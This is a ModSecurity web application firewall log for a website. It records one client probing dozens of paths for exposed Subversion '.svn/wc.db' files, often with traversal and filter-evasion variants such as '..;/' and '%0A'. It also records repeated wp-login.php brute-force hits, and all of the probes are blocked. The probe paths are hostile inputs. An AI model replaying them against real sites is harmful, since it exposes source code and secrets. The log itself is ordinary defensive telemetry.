[Wed Dec 03 07:14:02.161735 2025] [:error] [pid 22083:tid 22106] [client 213.21.239.4:39948] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/prod.svn/wc.db"] [unique_id "aS9yuvicvKZCy0M9-zyQpQAAAFU"]
[Wed Dec 03 07:14:02.163843 2025] [:error] [pid 22083:tid 22108] [client 213.21.239.4:39918] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/media../.svn/wc.db"] [unique_id "aS9yuvicvKZCy0M9-zyQpwAAAFc"]
[Wed Dec 03 07:14:02.166081 2025] [:error] [pid 22083:tid 22089] [client 213.21.239.4:39942] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/prod/.svn/wc.db"] [unique_id "aS9yuvicvKZCy0M9-zyQqAAAAEQ"]
[Wed Dec 03 07:14:02.167273 2025] [:error] [pid 22083:tid 22088] [client 213.21.239.4:39932] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/message-api/.svn/wc.db"] [unique_id "aS9yuvicvKZCy0M9-zyQqQAAAEM"]
[Wed Dec 03 07:14:02.170341 2025] [:error] [pid 22083:tid 22103] [client 213.21.239.4:39978] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/m/.svn/wc.db"] [unique_id "aS9yuvicvKZCy0M9-zyQqwAAAFI"]
[Wed Dec 03 07:14:02.170756 2025] [:error] [pid 22083:tid 22092] [client 213.21.239.4:39976] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/vetstars.com.au/wc.db"] [unique_id "aS9yuvicvKZCy0M9-zyQqgAAAEc"]
[Wed Dec 03 07:14:02.171830 2025] [:error] [pid 22083:tid 22094] [client 213.21.239.4:39958] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/vetstars.com.au../wc.db"] [unique_id "aS9yuvicvKZCy0M9-zyQrAAAAEk"]
[Wed Dec 03 07:14:02.176449 2025] [:error] [pid 22083:tid 22093] [client 213.21.239.4:39902] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/new/.svn/wc.db"] [unique_id "aS9yuvicvKZCy0M9-zyQrQAAAEg"]
[Wed Dec 03 07:14:02.185017 2025] [:error] [pid 22013:tid 22031] [client 213.21.239.4:39988] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/qa/.svn/wc.db"] [unique_id "aS9yuopUogO0aqsrpMVblAAAAMw"]
[Wed Dec 03 07:14:04.170502 2025] [:error] [pid 24019:tid 24029] [client 213.21.239.4:40008] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars.com.au../.svn/wc.db"] [unique_id "aS9yvJkVRhF9Pu1FX0O_OAAAAIc"]
[Wed Dec 03 07:14:04.178001 2025] [:error] [pid 21970:tid 21980] [client 213.21.239.4:40040] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars.com.au/.svn/wc.db;"] [unique_id "aS9yvGYwAeqEfyJIWdRd6AAAAAQ"]
[Wed Dec 03 07:14:04.178300 2025] [:error] [pid 24019:tid 24036] [client 213.21.239.4:39996] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars.com.au/.svn/%0Awc.db"] [unique_id "aS9yvJkVRhF9Pu1FX0O_OQAAAI4"]
[Wed Dec 03 07:14:04.178905 2025] [:error] [pid 24019:tid 24039] [client 213.21.239.4:39992] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/repos/.svn/wc.db"] [unique_id "aS9yvJkVRhF9Pu1FX0O_OgAAAJE"]
[Wed Dec 03 07:14:04.178930 2025] [:error] [pid 24019:tid 24035] [client 213.21.239.4:40072] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars.com.au/static../.svn/wc.db"] [unique_id "aS9yvJkVRhF9Pu1FX0O_OwAAAI0"]
[Wed Dec 03 07:14:04.183382 2025] [:error] [pid 24019:tid 24031] [client 213.21.239.4:40074] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars.com.au/;/.svn/wc.db"] [unique_id "aS9yvJkVRhF9Pu1FX0O_PAAAAIk"]
[Wed Dec 03 07:14:04.183407 2025] [:error] [pid 22083:tid 22094] [client 213.21.239.4:40042] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars.com.au/.svn/wc.db;.."] [unique_id "aS9yvPicvKZCy0M9-zyQsAAAAEk"]
[Wed Dec 03 07:14:04.183634 2025] [:error] [pid 22083:tid 22093] [client 213.21.239.4:40018] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars.com.au/..;/.svn/wc.db"] [unique_id "aS9yvPicvKZCy0M9-zyQsQAAAEg"]
[Wed Dec 03 07:14:04.188545 2025] [:error] [pid 22083:tid 22100] [client 213.21.239.4:40058] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/vetstars.com.au/.svn;/wc.db"] [unique_id "aS9yvPicvKZCy0M9-zyQsgAAAE8"]
[Wed Dec 03 07:14:04.188882 2025] [:error] [pid 22014:tid 22063] [client 213.21.239.4:40026] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars.com.au/.svn/wc.db"] [unique_id "aS9yvAgpXEQej7y9Y6bnPQAAARE"]
[Wed Dec 03 07:14:05.167691 2025] [:error] [pid 24019:tid 24044] [client 213.21.239.4:40148] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www/;/.svn/wc.db"] [unique_id "aS9yvZkVRhF9Pu1FX0O_QQAAAJY"]
[Wed Dec 03 07:14:05.168886 2025] [:error] [pid 21970:tid 21995] [client 213.21.239.4:40082] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/repository/.svn/wc.db"] [unique_id "aS9yvWYwAeqEfyJIWdRd6gAAABM"]
[Wed Dec 03 07:14:05.169102 2025] [:error] [pid 24019:tid 24038] [client 213.21.239.4:40080] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/www../wc.db"] [unique_id "aS9yvZkVRhF9Pu1FX0O_PwAAAJA"]
[Wed Dec 03 07:14:05.169843 2025] [:error] [pid 22014:tid 22064] [client 213.21.239.4:40150] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www/.svn/wc.db"] [unique_id "aS9yvQgpXEQej7y9Y6bnPwAAARI"]
[Wed Dec 03 07:14:05.170792 2025] [:error] [pid 24019:tid 24046] [client 213.21.239.4:40124] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/www/.svn;/wc.db"] [unique_id "aS9yvZkVRhF9Pu1FX0O_QAAAAJg"]
[Wed Dec 03 07:14:05.176050 2025] [:error] [pid 22014:tid 22060] [client 213.21.239.4:40116] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/samples/.svn/wc.db"] [unique_id "aS9yvQgpXEQej7y9Y6bnQAAAAQ4"]
[Wed Dec 03 07:14:05.178173 2025] [:error] [pid 21970:tid 21994] [client 213.21.239.4:40092] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/www/wc.db"] [unique_id "aS9yvWYwAeqEfyJIWdRd6wAAABI"]
[Wed Dec 03 07:14:05.178477 2025] [:error] [pid 22083:tid 22099] [client 213.21.239.4:40156] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www/.svn/wc.db;"] [unique_id "aS9yvficvKZCy0M9-zyQtwAAAE4"]
[Wed Dec 03 07:14:05.180029 2025] [:error] [pid 22083:tid 22104] [client 213.21.239.4:40096] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/s3/.svn/wc.db"] [unique_id "aS9yvficvKZCy0M9-zyQuAAAAFM"]
[Wed Dec 03 07:14:05.180036 2025] [:error] [pid 21970:tid 21973] [client 213.21.239.4:40176] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www/static../.svn/wc.db"] [unique_id "aS9yvWYwAeqEfyJIWdRd7AAAAAA"]
[Wed Dec 03 07:14:05.180918 2025] [:error] [pid 21970:tid 21990] [client 213.21.239.4:40138] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www../.svn/wc.db"] [unique_id "aS9yvWYwAeqEfyJIWdRd7QAAAA4"]
[Wed Dec 03 07:14:05.183739 2025] [:error] [pid 21970:tid 21989] [client 213.21.239.4:40160] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www/.svn/wc.db;.."] [unique_id "aS9yvWYwAeqEfyJIWdRd7gAAAA0"]
[Wed Dec 03 07:14:05.190761 2025] [:error] [pid 21970:tid 21998] [client 213.21.239.4:40110] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www/.svn/%0Awc.db"] [unique_id "aS9yvWYwAeqEfyJIWdRd7wAAABY"]
[Wed Dec 03 07:14:05.190779 2025] [:error] [pid 22013:tid 22025] [client 213.21.239.4:40168] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www/..;/.svn/wc.db"] [unique_id "aS9yvYpUogO0aqsrpMVbnAAAAMY"]
[Wed Dec 03 07:14:07.169426 2025] [:error] [pid 22013:tid 22027] [client 213.21.239.4:40216] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/static/.svn/wc.db"] [unique_id "aS9yv4pUogO0aqsrpMVboQAAAMg"]
[Wed Dec 03 07:14:07.169446 2025] [:error] [pid 22013:tid 22020] [client 213.21.239.4:40190] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/static../.svn/wc.db"] [unique_id "aS9yv4pUogO0aqsrpMVbogAAAME"]
[Wed Dec 03 07:14:07.176513 2025] [:error] [pid 22083:tid 22103] [client 213.21.239.4:40222] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/store/.svn/wc.db"] [unique_id "aS9yv_icvKZCy0M9-zyQugAAAFI"]
[Wed Dec 03 07:14:07.178365 2025] [:error] [pid 22013:tid 22040] [client 213.21.239.4:40178] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/shop/.svn/wc.db"] [unique_id "aS9yv4pUogO0aqsrpMVbowAAANU"]
[Wed Dec 03 07:14:07.179196 2025] [:error] [pid 22013:tid 22029] [client 213.21.239.4:40180] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/site/.svn/wc.db"] [unique_id "aS9yv4pUogO0aqsrpMVbpAAAAMo"]
[Wed Dec 03 07:14:07.181393 2025] [:error] [pid 22013:tid 22036] [client 213.21.239.4:40192] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/staging/.svn/wc.db"] [unique_id "aS9yv4pUogO0aqsrpMVbpQAAANE"]
[Wed Dec 03 07:14:07.185912 2025] [:error] [pid 22013:tid 22035] [client 213.21.239.4:40200] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/web/.svn/wc.db"] [unique_id "aS9yv4pUogO0aqsrpMVbpgAAANA"]
[Wed Dec 03 07:14:07.186215 2025] [:error] [pid 22083:tid 22092] [client 213.21.239.4:40202] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/wiki/.svn/wc.db"] [unique_id "aS9yv_icvKZCy0M9-zyQuwAAAEc"]
[Wed Dec 03 07:14:07.192145 2025] [:error] [pid 22083:tid 22094] [client 213.21.239.4:40224] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/uat/.svn/wc.db"] [unique_id "aS9yv_icvKZCy0M9-zyQvAAAAEk"]
[Wed Dec 03 07:14:07.192403 2025] [:error] [pid 24019:tid 24035] [client 213.21.239.4:40226] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vendor/.svn/wc.db"] [unique_id "aS9yv5kVRhF9Pu1FX0O_QgAAAI0"]
[Wed Dec 03 07:14:08.167010 2025] [:error] [pid 24019:tid 24032] [client 213.21.239.4:40240] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/.svn/wc.db"] [unique_id "aS9ywJkVRhF9Pu1FX0O_RgAAAIo"]
[Wed Dec 03 07:14:08.176511 2025] [:error] [pid 22013:tid 22021] [client 213.21.239.4:40246] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/wp-content/.svn/wc.db"] [unique_id "aS9ywIpUogO0aqsrpMVbpwAAAMI"]
[Wed Dec 03 07:14:08.183491 2025] [:error] [pid 22083:tid 22095] [client 213.21.239.4:40254] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/.svn/wc.db"] [unique_id "aS9ywPicvKZCy0M9-zyQwAAAAEo"]
[Wed Dec 03 07:14:08.185564 2025] [:error] [pid 22014:tid 22064] [client 213.21.239.4:40248] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/.svn/wc.db"] [unique_id "aS9ywAgpXEQej7y9Y6bnRQAAARI"]
[Wed Dec 03 12:00:08.982318 2025] [:error] [pid 22014:tid 22061] [client 182.44.12.37:48302] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aS-1yAgpXEQej7y9Y6ZJVAAAAQ8"]
[Wed Dec 03 13:02:35.814274 2025] [:error] [pid 22013:tid 22031] [client 104.248.9.214:58788] [client 104.248.9.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.9.214, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aS_Ea4pUogO0aqsrpMXAswAAAMw"]
[Wed Dec 03 13:02:39.374843 2025] [:error] [pid 11940:tid 11961] [client 104.248.9.214:49658] [client 104.248.9.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.9.214, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aS_EbzcDdx05OuLeesMIlgAAAdM"]
[Wed Dec 03 13:43:44.585759 2025] [:error] [pid 10558:tid 10585] [client 104.248.9.214:51179] [client 104.248.9.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.9.214, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aS_OEDzOvOZiO9KGYU6R7gAAABI"]
[Wed Dec 03 13:56:01.097863 2025] [:error] [pid 20707:tid 20713] [client 104.248.9.214:56003] [client 104.248.9.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.9.214, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aS_Q8TObjEHgU5ngsxdbRgAAAQQ"]
[Wed Dec 03 14:08:37.831346 2025] [:error] [pid 20608:tid 20645] [client 104.248.9.214:60752] [client 104.248.9.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.9.214, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aS_T5U5WGptz5j0ZvYc9YgAAAIg"]
